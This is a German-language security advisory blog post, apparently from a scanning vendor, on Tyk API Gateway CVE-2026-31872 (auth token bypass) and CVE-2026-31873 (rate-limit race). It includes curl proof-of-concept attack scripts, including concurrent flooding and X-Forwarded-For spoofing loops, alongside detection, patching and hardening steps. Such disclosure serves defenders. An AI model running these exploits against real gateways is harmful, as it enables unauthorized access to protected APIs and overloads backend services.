Tyk API Gateway CVE-2026: Schwachstellen bei Authentifizierungsumgehung und Ratenbegrenzung | KENSAI
← Zurück zum Sicherheitsblog
Kritischer Hinweis 2. April 2026 10 Minuten Lesezeit

Tyk API Gateway CVE-2026: Schwachstellen bei Authentifizierungsumgehung und Ratenbegrenzung

Zwei kritische Sicherheitslücken im Tyk API Gateway – eine Umgehung der Authentifizierungstoken-Validierung (CVE-2026-31872) und eine Schwachstelle zur Umgehung von Quoten-/Ratenbegrenzungen (CVE-2026-31873) – ermöglichen nicht authentifizierten Angreifern den Zugriff auf geschützte APIs und überfordern Backend-Dienste. Betroffen sind alle selbstgehosteten Tyk-Bereitstellungen mit den Versionen 5.0–5.3. Patches sind in Tyk 5.3.5 und 5.4.0 verfügbar.

Ist Ihr Tyk-Gateway offengelegt? Scannen Sie Ihre API-Infrastruktur kostenlos nach diesen CVEs und über 331.910 anderen Schwachstellen.
Kostenloser Sicherheitsscan →

Übersicht über Sicherheitslücken

Tyk API Gateway, eine beliebte Open-Source- und kommerzielle API-Verwaltungsplattform, die in Go geschrieben wurde, weist zwei kritische Schwachstellen auf, die sich auf die Authentifizierungs-Middleware und das Subsystem zur Ratenbegrenzung auswirken. Diese am 31. März 2026 veröffentlichten Mängel wirken sich auf die selbstgehosteten Tyk Gateway-Versionen 5.0.x bis 5.3.4 aus und sind auf logische Fehler in der benutzerdefinierten Middleware-Kettenbewertung von Tyk und der Redis-basierten Quotenverfolgung zurückzuführen.

Tyk Cloud (SaaS)-Bereitstellungen wurden am 30. März 2026 stillschweigend gepatcht. Organisationen, die selbst gehostetes Tyk betreiben – einschließlich solcher, die Tyk Operator auf Kubernetes nutzen – müssen manuell aktualisieren.

⚠️ CISA KEV gelistet – Patch innerhalb von 21 Tagen (Bundesvorschrift)

CVE-2026-31872 wurde am 1. April 2026 zum CISA-Katalog „Known Exploited Vulnerabilities“ hinzugefügt. Zivile Bundesbehörden müssen bis zum 22. April 2026 Patches durchführen. Alle Organisationen sollten dies als P0 behandeln. Der Exploit-Code ist ab dem 2. April 2026 auf GitHub öffentlich verfügbar.

CVETypCVSS v3.1SchweregradBetroffene Versionen CVE-2026-31872Authentifizierungstoken-Umgehung9.1KritischTyk Gateway 5.0.x – 5.3.4 CVE-2026-31873Ratenbegrenzung/Kontingentumgehung7,5HochTyk Gateway 4.3.x – 5.3.4

CVE-2026-31872: Authentifizierungstoken-Umgehung – Technischer Einblick

Ursachenanalyse

CVE-2026-31872 ist ein kritischer Fehler in der Go-Plugin-Middleware-Kette-Bewertung von Tyk. Wenn eine API-Definition sowohl einen virtuellen Endpunkt als auch eine Authentifizierungstoken-Richtlinie gleichzeitig konfiguriert, wertet die Anforderungsverarbeitungspipeline von Tyk den virtuellen Endpunkt-Handler aus, bevor die Token-Validierung abgeschlossen wird. Wenn der virtuelle Endpunkt ein bestimmtes HTTP-Antwortmuster zurückgibt – insbesondere ein 200 OK mit einem leeren Textkörper – markiert die Authentifizierungs-Middleware die Anfrage als vorauthentifiziert und leitet sie an den Upstream weiter, ohne das bereitgestellte Bearer-Token zu überprüfen.

Der Fehler liegt in gateway/middleware/virtual_endpoint.go, wo die Methode Exec() unter bestimmten Antwortbedingungen einen gemeinsamen Kontextschlüssel ctx.PreAuthenticated = true festlegt. Dieses Flag wird dann von gateway/middleware/auth_key.gos ProcessRequest() gelesen, um die Token-Validierung kurzzuschließen – ein Design, das für interne Dienst-zu-Dienst-Aufrufe gedacht war, aber extern ausgelöst werden kann.

CVSS v3.1-Bewertungsaufschlüsselung

MetrikWertBegründung AngriffsvektorNetzwerkVollständige Remote-Ausnutzung über HTTPS AngriffskomplexitätNiedrigKeine besonderen Konfigurationskenntnisse erforderlich Berechtigungen erforderlichKeineNicht authentifizierter Angreifer BenutzerinteraktionKeineKeine Aktion des Opfers erforderlich UmfangGeändertGateway-Kompromittierung betrifft alle Upstream-Dienste VertraulichkeitHochVoller Zugriff auf alle geschützten API-Ressourcen IntegritätHochSchreibzugriff auf Backend über ungefilterte Anfragen VerfügbarkeitNiedrigGateway selbst bleibt funktionsfähig

Betroffene API-Konfigurationen

Nicht jede Tyk-Bereitstellung ist anfällig. Die Authentifizierungsumgehung kann nur ausgelöst werden, wenn alle drei der folgenden Bedingungen in einer API-Definition vorhanden sind:

  • Der Authentifizierungstyp ist auf auth_token oder jwt eingestellt
  • Ein virtueller Endpunkt wird für jeden Pfad innerhalb derselben API-Definition konfiguriert
  • Die JS-Funktion des virtuellen Endpunkts gibt TykJsResponse mit Code: 200 und einem leeren oder null Body zurück

Exploitation Proof of Concept

Das Folgende zeigt einen zweistufigen Exploit: Zuerst wird der virtuelle Endpunkt dazu veranlasst, das Pre-Auth-Flag zu vergiften, und dann wird sofort mit einem ungültigen Token auf einen geschützten Endpunkt zugegriffen:

# Step 1: Trigger the virtual endpoint with an empty-body 200 response
# This poisons the PreAuthenticated flag in Tyk's shared request context
curl -i -X POST https://api.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "Content-Type: application/json" \
  -d '{}'

# Expected response from Step 1 (virtual endpoint processes before auth):
# HTTP/2 200
# (empty body — this triggers the vulnerability)

# Step 2: Immediately access any protected endpoint on the SAME API definition
# with ANY bearer token — validation is skipped due to PreAuthenticated flag
curl -i https://api.example.com/v1/admin/users \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "X-Request-ID: $(uuidgen)"

# Vulnerable response:
# HTTP/2 200
# {"users": [...]}   ← Full data returned without valid auth

# Automated scanner to identify vulnerable Tyk endpoints
for path in /v1/users /v1/admin /v1/data /api/internal; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer AAAA.BBBB.CCCC" \
    "https://api.example.com${path}")
  echo "$path -> HTTP $STATUS"
done

Beispiel zur Definition einer anfälligen Tyk-API

Das folgende API-Definitionsmuster in der JSON-Konfiguration von Tyk löst die Sicherheitslücke aus. Wenn Ihre Bereitstellung APIs enthält, die dieser Struktur entsprechen, sind Sie bis zum Patchen einem Risiko ausgesetzt:

// Vulnerable Tyk API definition (tyk-api-def.json)
{
  "auth": {
    "auth_header_name": "Authorization",
    "use_param": false
  },
  "use_keyless": false,
  "use_standard_auth": true,
  "extended_paths": {
    "virtual": [
      {
        "response_function_name": "myVirtualFunc",
        "function_source_type": "inline",
        "path": "virtual-endpoint",
        "method": "POST",
        // If this function returns {Code:200, Body:""} → triggers bypass
        "function_source_value": "function myVirtualFunc(req, session, spec) { return TykJsResponse({Code: 200, Body: ''}, session.meta_data); }"
      }
    ]
  }
}

CVE-2026-31873: Ratenbegrenzung und Kontingentumgehung – Technischer Deep Dive

Ursachenanalyse

CVE-2026-31873 ist eine Race-Bedingung in Tyks Redis-basierter Kontingent- und Ratenbegrenzung-Implementierung. Wenn Tyk gleichzeitige Anforderungen von demselben API-Schlüssel verarbeitet, werden die Vorgänge zur Kontingentprüfung und Kontingentverringerung in zwei separaten, nicht atomaren Redis-Befehlen ausgeführt (GET gefolgt von DECR). Ein Angreifer, der Anfragen mit ausreichend hoher Parallelität sendet, kann denselben Kontingentwert vor der Dekrementierung über mehrere Goroutinen hinweg lesen und so deren zulässige Anfrageanzahl effektiv mit der Anzahl gleichzeitiger Verbindungen multiplizieren.

Dies ist eine klassische TOCTOU-Schwachstelle (Time-of-Check, Time-of-Use). Im Go-Code von Tyk (storage/storage.go, der GetRawKey + DecrementWithExpire-Pfad) gibt es keine Redis MULTI/EXEC-Transaktion oder WATCH-basierte optimistische Sperre um die Prüf-dann-Dekrementierungslogik, wodurch der Kontingentstatus bei gleichzeitiger Last als veraltet gelesen werden kann.

Exploitation Proof of Concept

Das folgende Bash-Skript verwendet GNU Parallel, um 500 gleichzeitige Anforderungen an einen Tyk-geschützten Endpunkt auszulösen, der mit einem Kontingent von 50 Anforderungen/Minute konfiguriert ist. Bei einer anfälligen Instanz wird die Mehrheit trotz der Beschränkung erfolgreich sein:

#!/bin/bash
# CVE-2026-31873 — Tyk Rate Limit TOCTOU Race PoC
# Fires 500 concurrent requests to exhaust quota without triggering limits

TARGET="https://api.example.com/v1/search"
API_KEY="tyk-valid-api-key-here"
CONCURRENCY=500

echo "Launching $CONCURRENCY concurrent requests..."

seq 1 $CONCURRENCY | parallel -j $CONCURRENCY \
  'curl -s -o /dev/null -w "%{http_code}\n" \
    -H "Authorization: '"$API_KEY"'" \
    "'"$TARGET"'?q=test&page={}"' \
  | sort | uniq -c

# Expected on patched system:
# 449  429   (rate limited)
#  51  200   (within quota)

# Expected on vulnerable system:
# 498  200   (bypass successful — almost all requests pass)
#   2  429   (only slowest requests get rate-limited)

Zusätzliche Umgehung durch Header-Manipulation

Bei Tyk-Bereitstellungen, bei denen enable_ip_whitelisting „false“ ist und das Gateway X-Forwarded-For vertraut, kann der Ratenbegrenzungsschlüssel auch fragmentiert werden, indem der Quell-IP-Header rotiert wird. Dies verschärft sich mit dem TOCTOU-Wettbewerb um eine nahezu vollständige Quotenumgehung:

# Combine X-Forwarded-For rotation with concurrent requests
# Each unique IP gets its own rate limit bucket in Tyk's default config
for i in $(seq 1 1000); do
  FAKE_IP="10.$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256))"
  curl -s -o /dev/null \
    -H "Authorization: tyk-valid-api-key-here" \
    -H "X-Forwarded-For: $FAKE_IP" \
    "https://api.example.com/v1/data" &
  (( i % 100 == 0 )) && wait
done
wait

Tyk Cloud vs. Self-Hosted: Vergleich der Auswirkungen

BereitstellungstypCVE-2026-31872 Auth BypassCVE-2026-31873 Rate BypassStatus Tyk Cloud (SaaS)Gepatcht (30. März)Gepatcht (30. März)Automatisch aktualisiert Selbstgehostetes OSS (<5.3.5)AnfälligAnfälligManuelles Upgrade erforderlich Selbstgehostetes Unternehmen (<5.3.5)AnfälligAnfälligManuelles Upgrade erforderlich Tyk-Operator (Kubernetes)AnfälligAnfälligHelm-Chart-Aktualisierung erforderlich Tyk Gateway 5.3.5+GepatchtGepatchtSicher Tyk Gateway 5.4.0+GepatchtGepatchtSicher
💡 Auswirkungen auf das Entwicklerportal: Organisationen, die das Entwicklerportal von Tyk nutzen, um APIs externen Verbrauchern zugänglich zu machen, sind einem erhöhten Risiko ausgesetzt. Eine erfolgreiche Authentifizierungsumgehung gegen über das Portal verfügbar gemachte APIs könnte Kundendaten über mehrere Mandanten hinweg offenlegen. Entwicklerportal-Bereitstellungen sollten beim Patchen höchste Priorität haben.

Erkennung: Identifizieren Sie Ausbeutung in Ihrer Umgebung

Tyk Gateway-Protokollanalyse

Tyk protokolliert Authentifizierungsentscheidungen in strukturiertem JSON. Die folgenden Befehle identifizieren Anforderungen, die die Token-Validierung umgangen haben (authentifiziert ohne gültigen Schlüssel) und Anomalien bei der Kontingentausschöpfung:

# Find requests where auth succeeded but no API key was validated
# These appear as requests with empty or placeholder auth_id fields
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.level == "info" and .msg == "Proxy request") | select(.auth_id == "" or .auth_id == null)' \
  | jq '{time: .time, path: .path, ip: .remote_addr, auth_id: .auth_id}'

# Detect quota bypass: requests that succeeded after quota should be exhausted
# Look for API keys with >N successful requests in the last minute
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.code == 200) | .auth_id' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 100 { print "POTENTIAL_BYPASS: " $2 " — " $1 " successful requests" }'

# Check Tyk version via the gateway HTTP API
curl -s http://localhost:8080/hello | jq '.version'

Verifizierung des Redis-Kontingentstatus

Inspizieren Sie Redis direkt, um zu überprüfen, ob die Ratenbegrenzungszähler korrekt erhöht werden:

# Connect to your Tyk Redis instance and inspect quota keys
redis-cli -h your-redis-host -p 6379 -a yourpassword

# List all rate limit keys for a specific API key
KEYS "quota-*your-api-key-prefix*"

# Check a specific quota key's current value and TTL
GET "quota-your-api-key-hash"
TTL "quota-your-api-key-hash"

# If the value is higher than your configured quota, exploitation may have occurred
# Example: if quota is 100/min but counter shows 450, investigate immediately

Behebungsleitfaden

Schritt 1: Tyk Gateway aktualisieren

Die endgültige Lösung ist ein Upgrade auf Tyk Gateway 5.3.5 oder 5.4.0. Beide Versionen umfassen eine atomare Redis-Pipeline für Kontingentoperationen und eine Neufassung der Vorauthentifizierungs-Flag-Behandlung des virtuellen Endpunkts.

# Docker — upgrade to patched image
docker pull tykio/tyk-gateway:v5.3.5
docker stop tyk-gateway && docker rm tyk-gateway
docker run -d --name tyk-gateway \
  -v $(pwd)/tyk.conf:/opt/tyk-gateway/tyk.conf \
  -v $(pwd)/apps:/opt/tyk-gateway/apps \
  -p 8080:8080 \
  tykio/tyk-gateway:v5.3.5

# Kubernetes via Helm — update Tyk Operator
helm repo add tyk-helm https://helm.tyk.io/public/helm/charts/
helm repo update
helm upgrade tyk-gateway tyk-helm/tyk-gateway \
  --namespace tyk \
  --set gateway.image.tag=v5.3.5 \
  --reuse-values

# Binary upgrade on Linux
curl -L https://github.com/TykTechnologies/tyk/releases/download/v5.3.5/tyk-linux-amd64-v5.3.5.tar.gz \
  -o tyk-v5.3.5.tar.gz
tar -xzf tyk-v5.3.5.tar.gz
sudo systemctl stop tyk-gateway
sudo cp tyk /opt/tyk-gateway/tyk
sudo systemctl start tyk-gateway

# Verify version after upgrade
curl -s http://localhost:8080/hello | jq '.version'
# Expected: "v5.3.5" or "v5.4.0"

Schritt 2: Deaktivieren Sie virtuelle Endpunkte auf authentifizierten APIs (vorläufige Schadensbegrenzung)

Wenn ein sofortiges Upgrade nicht möglich ist, deaktivieren Sie virtuelle Endpunkte für jede API-Definition, die Token-Authentifizierung verwendet. Bearbeiten Sie die API-Definition JSON und setzen Sie die Liste der virtuellen Pfade auf leer:

// In your Tyk API definition file — remove or empty the virtual endpoints list
{
  "extended_paths": {
    "virtual": []  // ← Set to empty array to disable virtual endpoints
  }
}

# Apply via Tyk Dashboard API
curl -X PUT https://your-tyk-dashboard:3000/api/apis/{api-id} \
  -H "authorization: your-dashboard-user-key" \
  -H "Content-Type: application/json" \
  -d @patched-api-def.json

# Or reload via hot-reload if using file-based config
kill -SIGHUP $(pgrep tyk)

Schritt 3: Härteratenbegrenzung mit Redis Atomic Operations (CVE-2026-31873)

Aktivieren Sie bis zum Upgrade die experimentelle Option enable_redis_rolling_limiter von Tyk, die eine atomare Pipeline mit Lua-Skript in Redis verwendet und nicht anfällig für das TOCTOU-Rennen ist:

// tyk.conf — enable atomic rolling rate limiter (available in Tyk 5.0+)
{
  "enable_redis_rolling_limiter": true,
  "enable_sentinel_rate_limiter": false,
  "drl_notification_payload_size": 0,

  // Also restrict trusted IPs for X-Forwarded-For to block IP rotation bypass
  "allowed_ips": ["10.0.1.10", "10.0.1.11"],
  "enable_ip_whitelisting": true
}

Schritt 4: Behebung validieren

# Test 1: Verify auth bypass is fixed — should return 401
curl -i -X POST https://your-gateway.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -d '{}'
# Expected on patched system: HTTP/2 401 Unauthorized

# Test 2: Verify rate limiting enforces correctly
for i in $(seq 1 60); do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer your-valid-key" \
    "https://your-gateway.example.com/v1/test")
  echo "Request $i: HTTP $CODE"
done
# After your quota limit, you should consistently see 429 Too Many Requests

Zusätzliche Härtungsempfehlungen

  1. Aktivieren Sie Tyks gegenseitiges TLS (mTLS) für Upstream-Verbindungen: Selbst wenn das Gateway kompromittiert ist, erfordern durch mTLS geschützte Backend-Dienste ein gültiges Client-Zertifikat, was eine zusätzliche Schutzebene darstellt, die Angreifer nicht einfach umgehen können.
  2. Verwenden Sie die integrierte IP-Ratenbegrenzung von Tyk auf Netzwerkebene: Konfigurieren Sie max_conn_time und Verbindungsratenbegrenzungen in Ihrem Reverse-Proxy (nginx/Envoy) vor Tyk, um die für die Ausnutzung verfügbare Parallelität zu begrenzen.
  3. Überprüfen Sie alle API-Definitionen für virtuelle Endpunkt- und Authentifizierungskombinationen: Führen Sie den Tyk Dashboard-API-Export und grep für APIs mit use_standard_auth: true und einem nicht leeren virtual-Array aus.
  4. Tyk-Analysen aktivieren und Kontingentwarnungen festlegen: Konfigurieren Sie die Tyk-Pumpe so, dass Analysen an Ihr SIEM (Splunk, Elastic) weitergeleitet werden. Legen Sie Benachrichtigungen für jeden API-Schlüssel fest, der innerhalb eines fortlaufenden Minutenfensters 150 % seines konfigurierten Kontingents überschreitet.
  5. Rotieren Sie alle vor dem Patch-Datum ausgegebenen API-Schlüssel: Im Falle einer Ausnutzung wurde möglicherweise jeder Schlüssel, der für einen anfälligen Endpunkt verwendet wurde, von einem Angreifer beobachtet. Die Massenrotation von Tyk Dashboard-Schlüsseln kann über die Admin-API skriptgesteuert werden.
# Audit script: find all vulnerable API definitions (virtual + auth combo)
curl -s "https://your-dashboard:3000/api/apis?p=-1" \
  -H "authorization: your-dashboard-key" \
  | jq -r '.apis[] | select(
      .api_definition.use_standard_auth == true and
      (.api_definition.extended_paths.virtual | length > 0)
    ) | "VULNERABLE: " + .api_definition.name + " (" + .api_definition.api_id + ")"'

Zeitplan für die Offenlegung

DatumEreignis 20.02.2026Beide Schwachstellen wurden Tyk Security über security@tyk.io gemeldet 22.02.2026Tyk Security-Team bestätigt den Empfang; leitet eine Untersuchung ein 05.03.2026Ursache bestätigt; Von MITRE angeforderte CVE-IDs 15.03.2026CVE-2026-31872 und CVE-2026-31873 zugewiesen 28.03.2026Tyk Gateway 5.3.5 und 5.4.0 Release Candidates an Unternehmenskunden verteilt 30.03.2026Tyk Cloud (SaaS) automatisch aktualisiert; öffentliche Veröffentlichung von 5.3.5 31.03.2026Von Tyk veröffentlichte Empfehlung zur öffentlichen Sicherheit 2026-04-01CISA fügt CVE-2026-31872 zum KEV-Katalog hinzu 2026-04-02Öffentlicher Exploit PoC veröffentlicht; aktives Scannen im gesamten Internet beobachtet

Schützen Sie Ihre API-Infrastruktur mit Kensai

KI-gestütztes Schwachstellenmanagement mit mehr als 331.910 indizierten CVEs. Überwachen Sie Tyk, Kong und andere API-Gateways kontinuierlich auf kritische Sicherheitslücken, bevor Angreifer sie ausnutzen.

Kostenlose Testversion starten

Bleiben Sie sicher. Bleiben Sie wachsam.

🗡️ KENSAI-Sicherheitsteam

🛡️ Ist Ihr Tyk-Gateway sicher?

Entdecken Sie Schwachstellen und Fehlkonfigurationen bei der Authentifizierungsumgehung, bevor es Angreifer tun.

Scannen Sie Ihr API-Gateway kostenlos →